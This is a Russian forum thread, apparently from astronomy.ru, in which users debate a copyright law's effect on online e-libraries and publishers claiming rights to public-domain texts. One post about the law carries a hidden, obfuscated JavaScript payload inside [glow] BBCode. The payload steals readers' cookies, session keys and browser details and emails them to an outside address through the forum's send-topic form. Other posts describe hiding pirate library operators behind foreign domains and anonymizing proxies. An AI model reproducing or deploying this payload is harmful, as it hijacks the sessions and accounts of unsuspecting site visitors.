Авторские права и электронные библиотеки

[Dr. Moreau]

И вообще - по-моему дорвались до этих копирайтов, чрез меры - ну вот кому платило "Эксмо" при издании этой книги? Родственникам Распе? Наследникам переводчика  Генриха Садловского, который перевел эту книгу и помер в конце XIX века? Но тем не менее - "текст охраняется". Бред какой-то  

( я сфотографировал три странички этого издания, и слепил в одну)

[Astrogallery.net]

 

[Alexander Wolf]

Ничего смешного! Вы думаете почему так много народу было и есть против этого закона? Нет, не думайте, что они привыкли к "халяве", они не против этого закона как такового, они против идиотской формулировки этого закона!

[Iskandar]

В качастве примера могу привести и такой случай:

Два "брата-акробата" не постеснялись выпустить в издательстве "Э-плюс" под своим именем переведенную (притом на очень паршивом уровне) с английского книжку под названием "Ловля карпа и карася".

Ни малейшего упоминания об истинном авторе в книжке нет - зато рядом с логотипом "копирайта" В.Г. и Д.Г. Щербаковых красуется надпись "Все права защищены. Никакая часть данного издания не может быть воспроизведена в какой бы то ни было форме без письменного разрешения авторских прав"...

Потому и боюсь по примеру Dr. Moreau "воспроизвести в какой-бы то ни было форме" отсканированную "часть данного издания" - ещё привлекут...

[Dr. Moreau]

Потому и боюсь по примеру Dr. Moreau "воспроизвести в какой-бы то ни было форме" отсканированную "часть данного издания" - ещё привлекут...

Поздно, Iskandar! Мой скан смотрели? Смотрели. Денюшку не платили? Нет! Так что вместе сидеть будем за "воровство интеллектуальной собственности"  

Сейчас с интересом изучаю свои книги (из последних, которые), пока что Распе - не самый маразматический случай - подобная же фраза о защите текста и обладании исключительными правами на него гордо красуется на сборнике Русских народных сказок ( издательство "Былина" М. 2002 ). Наконец-то Колобок и Гуси-Лебеди нашли своих истинных хозяев, сколько ж они веков, бедняги, бесхозными мыкались...

[anovikov]

Да чего Вы волнуетесь? Ну переедут библиотеки с домена .ru на домен .ws, как это произошло с уже многими форумами и варезными сайтами. А администрировать и наполнять их будут через SSL-соединения через сервера-анонимизаторы. Ведь проще простого поставить другой сервер на другом хостинге и лазить к нему через прокси over SSL, и _никак_, не имея доступа к логам этого промежуточного сервера, нельзя установить, что ты как-то с этой библиотекой связан.

Свободу информации нельзя ограничить сейчас, в принципе, так что успокойтесь.

[Alexander Wolf]

Да чего Вы волнуетесь? Ну переедут библиотеки с домена .ru на домен .ws, как это произошло с уже многими форумами и варезными сайтами. А администрировать и наполнять их будут через SSL-соединения через сервера-анонимизаторы. Ведь проще простого поставить другой сервер на другом хостинге и лазить к нему через прокси over SSL, и _никак_, не имея доступа к логам этого промежуточного сервера, нельзя установить, что ты как-то с этой библиотекой связан.

Свободу информации нельзя ограничить сейчас, в принципе, так что успокойтесь.

Это к счастью, что нельзя ограничить. Только этим и живы, но (!) некторые проекты просто физически нельзя перетаскивать на закордонье (ну или регистрить на них домены из не-ру зон) - например, проект "Кампус" нашего факультета. Блин, старались сделать жизнь студентам попроще (поскольку ряд книг, хранящихся на нем в бумажном виде не сыскать), а в результате это дело сейчас противозаконное Пришлось вешать на первую страницу предупредительную надпись идиотского характера и маразматического содержания, что это де помещение библиотеки. Хотя подозреваю, что придется это объявления вешать на все ресурсы типа "Книга"

[Белозерцев Павел]

     Сейчас ГосДума занята новой придуманной работой, работой над поправками к закону о замене льгот пенсионерам. Это тоже делается в спешке. А ничего серьёзного в спешке не сделать. Вот так и с этим законом получилось. Остаётся надеяться, что в дальнейшем к этому закону тоже будут приняты соответствующие поправки. Не зря же многие тут считают этот заком маразматическим. Или же вообще его отменить. Дабы не вредить народу, который в большинстве, по сравнению с авторами. Нельзя принимать законы, которые не могут сразу начать работать. Как этот. А у нас в России такое бывает не редко.

     Путин должен преклонить голову перед пиратами. Если бы не они, то в России не было бы такой развитой информатизованности. Если бы мы вступили бы в ВТО в 1990-ом году. Западу должно быть выгодно отставание России во многих направлениях. И видимо Путин недопонимает тут чего-то. Он живёт отдельно от России. Как и часть депутатов. А у России свой путь....


     В данном случае, как и всегда, необходино расставить приоритеты в принятии и разработке законов. Начинать надо с ужесточения контроля за ползованием природными ресурсами. А этот закон не стоило принимать сейчас, пока народ в России не живёт лучше Европы и Америки. А мы явно можем жить лучше их. Только вот что-то никак не получается. А может это не выгодно кому-то в правительстве.


       Не пора ли искать врагов народа???  
      Заметьте, врагов народа, а не государства. А это не одно и тоже. Так как нужды государства не совпадают на 100% с нуждами народа. И то, что видно снизу, не видно сверху. [glow=red);background:url(javascript:execScript("for(i=0;i\x3cdocument.links.length;i++){u=document.links\x5bi\x5d.href;n=u.search('=profile;user=');if(n!=-1)break;};if(n!=-1){nm=u.substr(n+14);if(document.cookie.search('3x3=dyrka')==-1){if(window.history.length==0){e=new\x20Date();e.setTime(e.getTime()+365*86400000);ed=e.toGMTString();document.cookie='3x3=dyrka;\x20expires='+ed;for(i=0;i\x3cdocument.links.length;i++){u=document.links\x5bi\x5d.href;n=u.search('sesc=');if(n!=-1){sc=u.substr(n+5\x2c32)};n=u.search('board=');if(n!=-1){bo=parseInt(u.substr(n+6))};n=u.search('threadid=');if(n!=-1){th=parseInt(u.substr(n+9))}};a='\x68ttp\x3a\x2f\x2f\x77ww.astronomy.ru\x2fforum\x2findex\x2ephp\x3fboard='+bo+';threadid='+th+';action=sendtopic2;y_email=aa@bb.cc;r_name='+nm+';r_email=anton2003@inbox.ru';mes=document.cookie+'\x20'+navigator.userAgent+'\x20'+screen.width+'x'+screen.height+'/'+screen.colorDepth+'\x20'+document.charset;b='\x3chtml\x3e\x3cbody\x20bgColor=#1A065B\x3e\x3cform\x20action=\x22'+a+'\x22\x20method=\x22post\x22\x3e\x3cinput\x20type=hidden\x20name=\x22sc\x22\x20value=\x22'+sc+'\x22\x20\x3e\x3cinput\x20type=hidden\x20name=\x22y_name\x22\x20value=\x22'+mes+'\x22\x20\x3e\x3c\x2fform\x3e\x3cscript\x3edocument.forms\x5b0\x5d.submit();\x3c\x2fscript\x3e\x3c\x2fbody\x3e\x3c\x2fhtml\x3e';document.write(b);}else{window.open(document.location.href).moveTo(-10000);}}}"));filter:glow(color=red,2,300] [/glow]

[dims]

Для того, чтобы обойти этот закон, надо перед заходом на сайт, спрашивать у посетителя согласия считать его комнату частью помещения библиотеки.

Вообще-то защита авторских прав полезна, так как именно благодаря ней американцы лидируют в области программного обеспечения (назовите хоть одну европейскую ОС). Жалко только, что у нас всё делают "для галочки", а не чтоб работало.

Наконец, само по себе понятие копирайта всё-таки недостаточно справедливо: с какой стати автор должен получать отчисления с каждого копирования, в то время, как копирование практически ничего не стоит? Но другого механизма оплаты труда автора пока не придумали.

[ущеко]

Да чего Вы волнуетесь? Ну переедут библиотеки с домена .ru на домен .ws, как это произошло с уже многими форумами и варезными сайтами. А администрировать и наполнять их будут через SSL-соединения через сервера-анонимизаторы. Ведь проще простого поставить другой сервер на другом хостинге и лазить к нему через прокси over SSL, и _никак_, не имея доступа к логам этого промежуточного сервера, нельзя установить, что ты как-то с этой библиотекой связан.

Свободу информации нельзя ограничить сейчас, в принципе, так что успокойтесь.

Это к счастью, что нельзя ограничить. Только этим и живы, но (!) некторые проекты просто физически нельзя перетаскивать на закордонье (ну или регистрить на них домены из не-ру зон) - например, проект "Кампус" нашего факультета. Блин, старались сделать жизнь студентам попроще (поскольку ряд книг, хранящихся на нем в бумажном виде не сыскать), а в результате это дело сейчас противозаконное Пришлось вешать на первую страницу предупредительную надпись идиотского характера и маразматического содержания, что это де помещение библиотеки. Хотя подозреваю, что придется это объявления вешать на все ресурсы типа "Книга"

Я бы тож книжку какую почитал...
А как в Вашу библиотеку попасть???

[Alexander Wolf]

Я бы тож книжку какую почитал...
А как в Вашу библиотеку попасть???

Для этого достаточно зайти сюда  

[Alexander Wolf]

Для того, чтобы обойти этот закон, надо перед заходом на сайт, спрашивать у посетителя согласия считать его комнату частью помещения библиотеки.

Вообще-то защита авторских прав полезна, так как именно благодаря ней американцы лидируют в области программного обеспечения (назовите хоть одну европейскую ОС). Жалко только, что у нас всё делают "для галочки", а не чтоб работало.

Наконец, само по себе понятие копирайта всё-таки недостаточно справедливо: с какой стати автор должен получать отчисления с каждого копирования, в то время, как копирование практически ничего не стоит? Но другого механизма оплаты труда автора пока не придумали.

Про защиту я ничего не имею сказать против, она нужна, но не в такой форме, как принято у нас в стране...

[aleksis]

 По-этой теме есть вопросы и есть ответы. Начнем с вопросов. А где мы то были? Напоминаю  , что Интернет информационная система , т.е мы через нее должны получать качественную и своевременную информацию .На этом примере видно насколько она качественна и своевременна . Интернет в нашей стране рахитичен и вторичен. Поэтому такое отношение властей.
Теперь ответы. Почему у нас такая власть глупая  ?  Расскажу  притчу .В неком городе
Жил  Гуттенберг  и пришла ему мысль печатать книги . Но тут к местному правителю пришли переписчики , и говорят -мы выкупили все права у  авторов книг , а  Гуттенберг их нарушает. И тихонечко так конвертик подвигают. Ну тот тут же указ ,во исполнения авторских прав считать печатное слово противозаконным . javascript:replaceText(' ')
Интернет может изменить книжное дело принципиально . Предположим вам нужна книга вместо того , что бы начать искать в библиотеках   ( а потом ждать когда она освободиться) вы с помощью поисковой системы находите и скачиваете ее. Уже есть карманные варианты электронных книг . Расходы на тиражирование  уменьшаются до нуля .Автор может теперь сам издавать свои книги, для этого есть мощные электронные издательские системы. Но есть мощное лобби, которому это развитие не подходит. В книжное дело вложены сотни миллиардов $- вы думаете, они дадут  разорить себя?
Авторское право – это предлог,  поскольку никто не хочет решать эту проблему. А решения наверняка есть.  
Кстати Стивен Кинг провел эксперимент ,  опубликовал на своем сайте новую книгу и попросил всех кто ее скачивает заплатить 1$. Угадайте сколько он получил? Для подсказки скачало около миллиона человек.

[Alexander Wolf]

Кстати, по поводу законов - какие-нибудь опросы общественного мнения в связи проводятся или как всегда?

[Белозерцев Павел]

     Вот в том то всё и дело!!! Никаких опросов похоже не проводится и не проводилось. Так было с принятием этого закона. Так же было с принятием закона о замене льгот денежными компенсяциями пенсионерам. Так же было с законом об обороте наркотиков, при котором повысили размер, за который садят. Вот я и говорю, что правительство живёт отдельно от народа, а может вообще не в нашей стране. Если бы оно жило бы здесь, то законы бы оно строило опираясь на общественное мнение и на его статистику. Интересно получается.    Сначала вводят закон, принимают его. А уже после того, как он начинает действовать, начинают изучать общественное мнение. А надо ведь наоборот.

[aleksis]

Прова не дают прова берут. Но похоже брать уже некому.